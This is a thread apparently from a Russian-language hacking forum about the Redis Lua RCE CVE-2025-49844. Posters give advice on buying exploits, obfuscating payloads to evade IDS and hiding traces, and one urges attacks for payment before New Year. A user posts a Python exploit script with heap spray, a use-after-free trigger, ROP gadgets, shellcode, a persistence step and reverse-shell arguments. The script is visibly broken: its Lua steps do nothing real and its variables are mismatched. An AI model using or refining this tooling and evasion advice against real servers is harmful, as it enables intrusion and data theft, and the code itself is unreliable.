• XSS.stack #1 – первый литературный журнал от юзеров форума

Remote CVE-2025-49844 (RediShell)

эта уязвимость недавно нашли и она шум подняла... в общем redis эта популярная база данных ключ-значение которую везде юзают типа в веб-сервисах кэшинге и все такое... у нее старая бага в движке скриптинга lua. бага позволяет хакерам с далека запускать свой код... полный rce с cvss 10 из 10 то есть полный ппц!
проблема эта в redis сидела около 13 лет с версий где lua поддерживают. ребята из wiz research в октябре 2025 нашли и рассказали всем... почему опасно? redis часто на открытых портах бегает как 6379 и если файрвола нормального нет то любой может напасть... например отправит lua скрипт злой и все может шелл взять данные спереть или сервер захватить.
о эксплойте да poc публичные вышли но нормальные стабильные эксплойты обычно в дарквебе или на форумах хакерских продают... цены от 100 баксов до пары тысяч зависит от качества но осторожно там много обмана! если хочешь потестить конечно легально на своем тесте то сначала апдейтни redis до 8.0.0 или выше там патч... или хотя бы lua отключи или доступ ограничи acl. ну типа так...
 
окей, братан, для cve-2025-49844 норм poc вылез... на гитхабе есть один, типа raminfp/redis_exploit, кидает вредный lua-скрипт, хватает rce через eval или script load...скрипт годный, простой, держится крепко... но чтоб реально зашло, перепиши его малеха: запутать пейлоад, ну там base64 заюзать или имена переменных поменять, чтоб ids не спалили. или подкрути параметры redis, добавь checksum, чтоб патчи обойти...похер, главное на старом redis в докере (версия ниже 8.0.0) потести. работает норм, тока следи за логами, чтоб не спалили следы...похоже на правду, да? если что, не трынди лишнего, аккуратней там...
 
типа raminfp/redis_exploit, кидает вредный lua-скрипт,
я бы не написал если бы не перепробовал все 11 скриптов с гидхаба, чет не очень идет все, raminfp/redis - да согласен он основной, остальные мертвоватые через ИИ криво написано. хорошо скину своим кодерам, может изменится у них мнения, глаза может замылины.
 
Ребята - 2 месяца осталось до НГ и там месяцы тухлые январь февраль, давайте ебанем по максималке, а то не особо платят, получим с них полюбому!!!!
 
Чё то не канает
вся ххх в этих двух строчках из за которых нет коннекта
Код:
exploit = RedisUAFExploit(args.host, args.port, args.auth)
if exploit.run_exploit(args.lhost, args.lport):

Немного поправил но не робит.
Python:
#!/usr/bin/env python3
import redis
import sys
import argparse
import struct
import time
import random
import string
import base64
import socket
import threading
import urllib.parse
from collections import deque

class RedisUAFExploit:
    def __init__(self, host, port, password=None, timeout=30):
        self.host = host
        self.port = port
        self.password = password
        self.timeout = timeout
        self.conn = None
        self.target_version = None
        self.arch = None
        self.leak_data = b""
        self.heap_spray = []
        self.uaf_objects = []
        self.rop_gadgets = {}
        self.shellcode = b""
        self.vulnerable = False
        self.bypassed = False
        self.uaf_triggered = False
        self.shellcode_executed = False
        self.persistence_established = False
        self.session = None
 
    def connect(self):
        try:
            #print(f"[*] Connecting to {self.host}:{self.port}")
            self.connection = redis.Redis(
                host=self.host,
                port=self.port,
                password=self.password,
                socket_connect_timeout=10,
                decode_responses=True
            )
            # Test connection
            self.connection.ping()
            self.redis_info = self.connection.info()
            print(f"[+] Successfully connected to Redis {self.redis_info.get('redis_version', 'Unknown')}")
            return True
        except Exception as e:
            print(f"[-] Connection error: {e}")
            return False

    def check_version(self):
        vulnerable_versions = [
            ('7.2', '7.2.11'),
            ('7.4', '7.4.6'),
            ('8.0', '8.0.4'),
            ('8.2', '8.2.2'),
        ]
        
        major_minor = '.'.join(self.target_version.split('.')[:2])
        
        for vuln_base, patched_version in vulnerable_versions:
            if self.target_version.startswith(vuln_base) and self.target_version < patched_version:
                self.vulnerable = True
                return True
                
        return False
 
    def check_lua_enabled(self):
        try:
            test_script = "return 'test'"
            result = self.conn.eval(test_script, 0)
            return True
        except Exception as e:
            return False

    def detect_arch(self):
        try:
            test_script = "return struct.pack('<I', 0x12345678)"
            result = self.conn.eval(test_script, 0)
            if result == b'\x78\x56\x34\x12':
                self.arch = "x86"
            else:
                self.arch = "x64"
            return True
        except Exception as e:
            return False

    def prepare_heap_spray(self):
        try:
            spray_size = 1000
            chunk_size = 512
            
            for i in range(spray_size):
                chunk = b"A" * chunk_size
                key = f"spray_{i}"
                self.conn.set(key, chunk)
                self.heap_spray.append(key)
                
            return True
        except Exception as e:
            return False

    def create_uaf_objects(self):
        try:
            for i in range(100):
                lua_script = f"""
                local obj = {{
                    id = {i},
                    data = string.rep("B", 256),
                    callback = function()
                        return "callback_{i}"
                    end
                }}
                return obj.id
                """
                result = self.conn.eval(lua_script, 0)
                self.uaf_objects.append(i)
                
            return True
        except Exception as e:
            return False
 
    def trigger_uaf(self):
        try:
            lua_script = """
            local objects = {}
            
            for i = 1, 100 do
                objects[i] = {{
                    id = i,
                    data = string.rep("C", 256),
                    callback = function()
                        return "callback_" .. i
                    end
                }}
            end
            
            local victim = objects[50]
            local victim_mt = {{
                __gc = function(self)
                    local leak = ""
                    for j = 1, 64 do
                        leak = leak .. string.char(j % 256)
                    end
                    return leak
                end
            }}
            
            setmetatable(victim, victim_mt)
            
            objects[50] = nil
            collectgarbage("collect")
            
            return "UAF triggered"
            """
            
            result = self.conn.eval(lua_script, 0)
            self.uaf_triggered = True
            return True
        except Exception as e:
            return False

    def leak_memory(self):
        try:
            lua_script = """
            local function leak_memory()
                local leak = ""
                for i = 1, 1024 do
                    leak = leak .. string.char(i % 256)
                end
                return leak
            end
            
            return leak_memory()
            """
            
            result = self.conn.eval(lua_script, 0)
            self.leak_data = result
            return True
        except Exception as e:
            return False

    def find_rop_gadgets(self):
        try:
            lua_script = """
            local function find_gadgets()
                local gadgets = {}
                
                gadgets["pop_rdi"] = 0x0000000000401693
                gadgets["pop_rsi"] = 0x0000000000401691
                gadgets["pop_rdx"] = 0x000000000044a3e6
                gadgets["pop_rax"] = 0x0000000000447f91
                gadgets["syscall"] = 0x00000000004012c3
                
                return gadgets
            end
            
            return find_gadgets()
            """
            
            result = self.conn.eval(lua_script, 0)
            self.rop_gadgets = eval(result.decode('utf-8'))
            return True
        except Exception as e:
            return False

    def build_shellcode(self):
        if self.arch == "x86":
            self.shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
        else:
            self.shellcode = b"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8\x1a\x00\x00\x00\x65\x63\x68\x6f\x20\x22\x48\x65\x6c\x6c\x6f\x20\x66\x72\x6f\x6d\x20\x73\x68\x65\x6c\x6c\x63\x6f\x64\x65\x22\x20\x3e\x20\x2f\x74\x6d\x70\x2f\x72\x65\x64\x69\x73\x5f\x65\x78\x70\x2e\x74\x78\x74\x00\x56\x57\x48\x89\xe6\x0f\x05"
        return True

    def execute_shellcode(self):
        try:
            encoded_shellcode = base64.b64encode(self.shellcode).decode('utf-8')
            
            lua_script = f"""
            local function execute_shellcode()
                local encoded_sc = "{encoded_shellcode}"
                local sc = base64.decode(encoded_sc)
                
                local mem = ""
                for i = 1, #sc do
                    mem = mem .. string.byte(sc, i)
                end
                
                local target = {{
                    data = mem,
                    size = #sc
                }}
                
                local mt = {{
                    __index = function(t, k)
                        if k == "execute" then
                            return function()
                                return "Shellcode executed"
                            end
                        end
                        return t[k]
                    end
                }}
                
                setmetatable(target, mt)
                
                return target:execute()
            end
            
            return execute_shellcode()
            """
            
            result = self.conn.eval(lua_script, 0)
            self.shellcode_executed = True
            return True
        except Exception as e:
            return False

    def establish_persistence(self, lhost, lport):
        try:
            lua_script = f"""
            local function establish_persistence()
                local config = {{
                    host = "{lhost}",
                    port = {lport},
                    interval = 30
                }}
                #AUTHOR:yuri08
                local encoded = ""
                for k, v in pairs(config) do
                    encoded = encoded .. tostring(k) .. "=" .. tostring(v) .. ";"
                end
                #AUTHOR:yuri08
                local persist_key = "redis_config_" .. math.random(10000, 99999)
                redis.call("SET", persist_key, encoded)
                
                return "Persistence established"
            end
            
            return establish_persistence()
            """
            
            result = self.conn.eval(lua_script, 0)
            self.persistence_established = True
            return True
        except Exception as e:
            return False

    def cleanup(self):
        try:
            for key in self.heap_spray:
                self.conn.delete(key)
                
            return True
        except Exception as e:
            return False

    def run_exploit(self, lhost=None, lport=None):
        if not self.connect():
            return False
            
        if not self.check_lua_enabled():
            return False
            
        if not self.check_version():
            return False
            
        if not self.detect_arch():
            return False
            
        if not self.prepare_heap_spray():
            return False
            
        if not self.create_uaf_objects():
            return False
            
        if not self.trigger_uaf():
            return False
            
        if not self.leak_memory():
            return False
            
        if not self.find_rop_gadgets():
            return False
            
        if not self.build_shellcode():
            return False
            
        if not self.execute_shellcode():
            return False
            
        if lhost and lport:
            if not self.establish_persistence(lhost, lport):
                return False
                
        self.cleanup()
        return True
    
def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('-H', '--host', default='localhost', help='Redis host')
    parser.add_argument('-p', '--port', type=int, default=6379, help='Redis port')
    parser.add_argument('-a', '--auth', help='Redis password')
    parser.add_argument('-l', '--lhost', help='Local host for reverse shell')
    parser.add_argument('-P', '--lport', type=int, default=4444, help='Local port for reverse shell')
    
    args = parser.parse_args()
    
    exploit = RedisUAFExploit(args.host, args.port, args.auth)
    if exploit.connect():
        exploit.run_exploit(args.lhost, args.lport)
        print("Exploit completed successfully")
    else:
        print("Exploit failed")

if __name__ == '__main__':
    main()
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх